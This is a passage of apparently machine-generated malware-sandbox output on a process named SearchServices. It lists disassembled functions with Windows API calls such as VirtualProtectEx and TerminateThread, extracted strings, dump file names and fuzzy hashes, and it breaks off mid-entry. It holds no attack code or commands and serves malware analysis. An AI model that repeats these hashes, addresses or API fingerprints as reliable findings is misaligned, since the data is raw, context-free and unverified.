Instruction Fuzzy Hash: 90115E30E87640C1FA64B732E5BD7A922826B457F0F143727A8B6467FADE2B96019300

Function 00007FF7287FC078 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF7287F5CBD,?,?,?,?,00007FF7287FF9AF,?,?,00000000,00007FF7287FC196,?,?,?), ref: 00007FF7287FC087
FlsSetValue.KERNEL32(?,?,?,00007FF7287F5CBD,?,?,?,?,00007FF7287FF9AF,?,?,00000000,00007FF7287FC196,?,?,?), ref: 00007FF7287FC0BD
FlsSetValue.KERNEL32(?,?,?,00007FF7287F5CBD,?,?,?,?,00007FF7287FF9AF,?,?,00000000,00007FF7287FC196,?,?,?), ref: 00007FF7287FC0EA
FlsSetValue.KERNEL32(?,?,?,00007FF7287F5CBD,?,?,?,?,00007FF7287FF9AF,?,?,00000000,00007FF7287FC196,?,?,?), ref: 00007FF7287FC0FB
FlsSetValue.KERNEL32(?,?,?,00007FF7287F5CBD,?,?,?,?,00007FF7287FF9AF,?,?,00000000,00007FF7287FC196,?,?,?), ref: 00007FF7287FC10C
SetLastError.KERNEL32(?,?,?,00007FF7287F5CBD,?,?,?,?,00007FF7287FF9AF,?,?,00000000,00007FF7287FC196,?,?,?), ref: 00007FF7287FC127

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: da8c6ca16c8b883ebc71625bfe0f28af63b483cac13b62078f3c5bdeda11927e
Instruction ID: 5475cc6f26f88bdb7eed6017fdedc87123955a9cb72eea8d95e8f0ed628998b2
Opcode Fuzzy Hash: da8c6ca16c8b883ebc71625bfe0f28af63b483cac13b62078f3c5bdeda11927e
Instruction Fuzzy Hash: 6911A410A8C65242FA54B7B29D51179E162CFAC7F0FA40737E83E47BC6DE2EA4514B28

Function 00000264CC27199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000264CC2719C2
K32GetModuleFileNameExW.KERNEL32 ref: 00000264CC2719E0
PathFindFileNameW.SHLWAPI ref: 00000264CC2719EF
lstrlenW.KERNEL32 ref: 00000264CC2719FB
StrCpyW.SHLWAPI ref: 00000264CC271A0E
CloseHandle.KERNEL32 ref: 00000264CC271A1C

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: c479fe13e06062e90b9e4e773a21b2d7c8e76098876f0ea056760f3c7bb33602
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: F4015B32B01A40C2EB14EB52E4ACB9963A1FB88FC0F485036DE8D83765DF39C649C700

Function 00000264CC2736C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000264CC2736E4
GetCurrentProcess.KERNEL32 ref: 00000264CC2736F2
VirtualProtectEx.KERNEL32 ref: 00000264CC273714
GetCurrentProcess.KERNEL32 ref: 00000264CC273732
VirtualProtectEx.KERNEL32 ref: 00000264CC273753
TerminateThread.KERNEL32 ref: 00000264CC273762

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 552892b2302330cabe1e71ddbcc50417d39d4439bdfa060414ac3a2cbc6d7dfb
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 3B012D76A17B40C2FB24AB21F86C79573A0BB49B86F081426CD8907775EF3EC248C704

Function 00000264CC278FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000264CC279013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000264CC2790A8
RtlUnwindEx.NTDLL ref: 00000264CC2790F7

Strings

f, xrefs: 00000264CC279026
csm, xrefs: 00000264CC27908E

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: c72935728f39566f10b070b6c8b9985bead275892b34faab86e3efc8f6c85edb
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: D251D532B52700CAEB14FF19E89CB9937A6F344B98F109526DE86477A8DB37CA51D700

Function 00007FF7287E25E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00007FF7287E27CF), ref: 00007FF7287E2618
DialogBoxIndirectParamW.USER32 ref: 00007FF7287E26DC
DeleteObject.GDI32 ref: 00007FF7287E270F
DestroyIcon.USER32 ref: 00007FF7287E2721

Strings

Unhandled exception in script, xrefs: 00007FF7287E2648

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 035139a28c932b525dc7cac8fcdac5569ee169202821a797d5d04823a4addf63
Instruction ID: 0b0db398506289ecee57ef88cfd1ec65ce0bb75da73503e835de9774f8e69d85
Opcode Fuzzy Hash: 035139a28c932b525dc7cac8fcdac5569ee169202821a797d5d04823a4addf63
Instruction Fuzzy Hash: 1E312B76A19A8285EB20EB61EC551E9E3A0FF88784F840136EA4D47B95DF3DD105CB14

Function 00007FF7287E29C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000,00000000,00007FF7287E8AF2,?,?,?,?,?,?,?,?,?,?,?,00007FF7287E101D), ref: 00007FF7287E29F4

Part of subcall function 00007FF7287E8770: GetLastError.KERNEL32(00000000,00007FF7287E2A3E,?,?,?,?,?,?,?,?,?,?,?,00007FF7287E101D), ref: 00007FF7287E8797
Part of subcall function 00007FF7287E8770: FormatMessageW.KERNEL32 ref: 00007FF7287E87C6

Part of subcall function 00007FF7287E8DE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7287E2A9B), ref: 00007FF7287E8E1A

MessageBoxW.USER32 ref: 00007FF7287E2AD0
MessageBoxA.USER32 ref: 00007FF7287E2AEC

Strings

%s%s: %s, xrefs: 00007FF7287E2A4B
Fatal error detected, xrefs: 00007FF7287E2AA6, 00007FF7287E2ADE

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: Message$ErrorLast$ByteCharFormatMultiWide
String ID: %s%s: %s$Fatal error detected
API String ID: 2806210788-2410924014
Opcode ID: e540fe95cbcf3c4f9a9ac735379b1c9e9ae60ded60aea03e9d716fb219e4d584
Instruction ID: 79692eb6cac2483add4ebe3353a3f87e3516af19d5c51bc4ae6068ba41e492c8
Opcode Fuzzy Hash: e540fe95cbcf3c4f9a9ac735379b1c9e9ae60ded60aea03e9d716fb219e4d584
Instruction Fuzzy Hash: AE315072638AC281E630AB50EC416EAE3A5FB88784F804137E78D42A99DF3DD615CF54

Function 00000264CC273044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 00000264CC273066
StrCpyW.SHLWAPI ref: 00000264CC273076
StrCatW.SHLWAPI ref: 00000264CC273082
PathCombineW.SHLWAPI ref: 00000264CC273090

Strings

\\.\pipe\, xrefs: 00000264CC27305C

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 2b3ac4e897ef0a782f93eec7162e4f5aa8006fa57a416da0a8c468230e02d6bd
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: A8F01276B15B84C2EA14AB53F96C5996661AB48FD0F086132EE8647B38DF3DC6858700

Function 00000264CC27BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000264CC27BCBD
GetProcAddress.KERNEL32 ref: 00000264CC27BCD3
FreeLibrary.KERNEL32 ref: 00000264CC27BCFA

Strings

CorExitProcess, xrefs: 00000264CC27BCCC
mscoree.dll, xrefs: 00000264CC27BCB4

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 0dc297d8560bc8c0e3d9fbdb6d44963d45bdd86bffd9194d2c9c64d06451feec
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: A6F06272A12704C1EB10AB24E4AC7996320FB85B61F54221ADAEA453F4DF2EC2448340

Function 00007FF7287FA83C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF7287FA861
GetProcAddress.KERNEL32 ref: 00007FF7287FA877
FreeLibrary.KERNEL32 ref: 00007FF7287FA89E

Strings

CorExitProcess, xrefs: 00007FF7287FA870
mscoree.dll, xrefs: 00007FF7287FA858

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 2230a043baf354bfbc53885d3c0454218b923bdff90d2529a0827c645eda448d
Instruction ID: cc67057bb2ea55eafb22fe4ed559d05ca53bbe182de8e6284b906b6833e2f388
Opcode Fuzzy Hash: 2230a043baf354bfbc53885d3c0454218b923bdff90d2529a0827c645eda448d
Instruction Fuzzy Hash: 4BF0A421A29A0281FF14AB54AC84735E361EF49755F940236D66D452F0CF2ED459CB24

Function 00000264CC275710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000264CC275726

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: d3b9a58ef7fdfc98620847497ecba833532ef1df5abfce1ac3323b88e95c3dec
Instruction ID: c32b521752c37c5047dc0a010438cf6f862b5c3e4e6097241a82c926ae425d0e
Opcode Fuzzy Hash: d3b9a58ef7fdfc98620847497ecba833532ef1df5abfce1ac3323b88e95c3dec
Instruction Fuzzy Hash: 4361C03695AB44C6E760DB16F4A835AB7A0F388794F102126E6CD47BB8DB7DC650CF04

Function 00000264CC253504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000264CC25352C
_set_statfp.LIBCMT ref: 00000264CC253547
_set_statfp.LIBCMT ref: 00000264CC253563
_set_statfp.LIBCMT ref: 00000264CC25359F

Memory Dump Source

Source File: 00000005.00000002.1965448950.00000264CC240000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000264CC240000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc240000_SearchServices.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: a9dc43bb449ad17a4bab277ca64d4ca413273e0d45f3b5f44d97654bd46a7a7e
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: C311A332E52A1991FA643528E47D3FB11816B5C374F58B62AA9E6063FECA26CB454100

Function 00000264CC284104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000264CC28412C
_set_statfp.LIBCMT ref: 00000264CC284147
_set_statfp.LIBCMT ref: 00000264CC284163
_set_statfp.LIBCMT ref: 00000264CC28419F

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: bf99b974253866e9832fe2cba53234b76d34d0aff95672302567c3ca16f2b8a6
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 4111A333E12B5093FA64356CD87D3E513406B783B8F482627A9F607FF6CA2ACB416200

Function 00007FF72880A420 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF72880A448
_set_statfp.LIBCMT ref: 00007FF72880A463
_set_statfp.LIBCMT ref: 00007FF72880A47F
_set_statfp.LIBCMT ref: 00007FF72880A4BB

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: a62d4fcbb0970871e45180a1f834c32a3c4d190302dd8db61346826940fa499d
Instruction ID: 8d56069dbd777c84987ba1a46b3bf217a7735d93c6429735e98dca9c952fe22e
Opcode Fuzzy Hash: a62d4fcbb0970871e45180a1f834c32a3c4d190302dd8db61346826940fa499d
Instruction Fuzzy Hash: EF11822AEB8E0301F6543164EC5A379E5C1EF65370E944637E57E4E2D78E3E6870492C

Function 00007FF7287FC140 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF7287FB35B,?,?,00000000,00007FF7287FB5F6,?,?,?,?,?,00007FF7287F38BC), ref: 00007FF7287FC15F
FlsSetValue.KERNEL32(?,?,?,00007FF7287FB35B,?,?,00000000,00007FF7287FB5F6,?,?,?,?,?,00007FF7287F38BC), ref: 00007FF7287FC17E
FlsSetValue.KERNEL32(?,?,?,00007FF7287FB35B,?,?,00000000,00007FF7287FB5F6,?,?,?,?,?,00007FF7287F38BC), ref: 00007FF7287FC1A6
FlsSetValue.KERNEL32(?,?,?,00007FF7287FB35B,?,?,00000000,00007FF7287FB5F6,?,?,?,?,?,00007FF7287F38BC), ref: 00007FF7287FC1B7
FlsSetValue.KERNEL32(?,?,?,00007FF7287FB35B,?,?,00000000,00007FF7287FB5F6,?,?,?,?,?,00007FF7287F38BC), ref: 00007FF7287FC1C8

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 10ef7b20446d589d7543043f1c539080fe2d32c680aee76621b2f3de37225325
Instruction ID: e30ae1125e07f306657c954dc2f98af71da718fc805eb6243fc3ec97b8304d4a
Opcode Fuzzy Hash: 10ef7b20446d589d7543043f1c539080fe2d32c680aee76621b2f3de37225325
Instruction Fuzzy Hash: 8D117560B8C61202FA5973B7AD51179D151DFA83F0F984337E83D86BC6DE2EB4118E28

Function 00007FF7287FBFD4 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF7287FBFE5
FlsSetValue.KERNEL32 ref: 00007FF7287FC004
FlsSetValue.KERNEL32 ref: 00007FF7287FC02C
FlsSetValue.KERNEL32 ref: 00007FF7287FC03D
FlsSetValue.KERNEL32 ref: 00007FF7287FC04E

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 1cbfbab29873deef46e90a648d7a1f8795c58f1c293a930122e54ca216580eab
Instruction ID: ff4bf1501ebd86ac8305a5622622045aea1784032102114b6f7f3521701861a6
Opcode Fuzzy Hash: 1cbfbab29873deef46e90a648d7a1f8795c58f1c293a930122e54ca216580eab
Instruction Fuzzy Hash: 46110A10A9C20742F95972B75C611B9D151CFAD3B4FA80737D93E8A7D6DD2EB4024A38

Function 00007FF7287F69F0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7287F6A2C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7287F6B56
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7287F6C0C

Strings

verbose, xrefs: 00007FF7287F6A00

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: 0e1375701995164762774767e6acc307974a31e0cd050619d1c211530d762839
Instruction ID: d199a3e683d84ce67ef8901cd6618e503b14e3b5175f06d79f2a80c3fcc6201b
Opcode Fuzzy Hash: 0e1375701995164762774767e6acc307974a31e0cd050619d1c211530d762839
Instruction Fuzzy Hash: 2291F422A48A4641F720AEA6DC5037DF791EB68B54FD44133DA9D473C6DE3EE405CB28

Function 00007FF728800AA0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF728800D7F

Part of subcall function 00007FF7288071A4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7288071C1

Strings

ccs, xrefs: 00007FF728800CBA
UTF-8, xrefs: 00007FF728800CFE
UTF-16LEUNICODE, xrefs: 00007FF728800D1D

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: de4b53a7bd72cc9a75fc72bdb9aa8b7520de62a16ef0f4afa2e89dc7587c8b22
Instruction ID: 9f9bab443e8362d0a04fb2cba912fe15d5cf5457ae1ddf88b4fe9047cde1118e
Opcode Fuzzy Hash: de4b53a7bd72cc9a75fc72bdb9aa8b7520de62a16ef0f4afa2e89dc7587c8b22
Instruction Fuzzy Hash: A9819332E2C64285F6756E298D50278F6E0EB11B48FD54033CA2D57295DB3FF4219F2A

Function 00000264CC24F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000264CC24F124

Strings

Tuesday, xrefs: 00000264CC24F0F4
or copy constructor iterator', xrefs: 00000264CC24F25A, 00000264CC24F275
Wednesday, xrefs: 00000264CC24F1ED

Memory Dump Source

Source File: 00000005.00000002.1965448950.00000264CC240000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000264CC240000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc240000_SearchServices.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: cd1d274f41642e5f884079c82ac3e1efe7f201d1b9ac8b300bf6f88389dc4895
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 3761B236E02640C3FA76FB68D57C7EA66A0E7C5740F517417DACA177B8DA76CB428200

Function 00007FF7287ECF80 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7287ECFAB
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF7287ED042
RtlUnwindEx.KERNEL32 ref: 00007FF7287ED09C

Strings

csm, xrefs: 00007FF7287ED029

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 81dbbe3a269521ccb6618414f5b7d9ba6a400a48ab9a514a04d3b64c82b69e43
Instruction ID: db6968d7ea739be086517bcd6ffaab83326409410605b7a82d1843cbf9a42a5a
Opcode Fuzzy Hash: 81dbbe3a269521ccb6618414f5b7d9ba6a400a48ab9a514a04d3b64c82b69e43
Instruction Fuzzy Hash: DC51D432B196828ADB14EB59EC44678FB91EB48B84F858133DA5D47784EF3EF841CB14

Function 00000264CC27AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

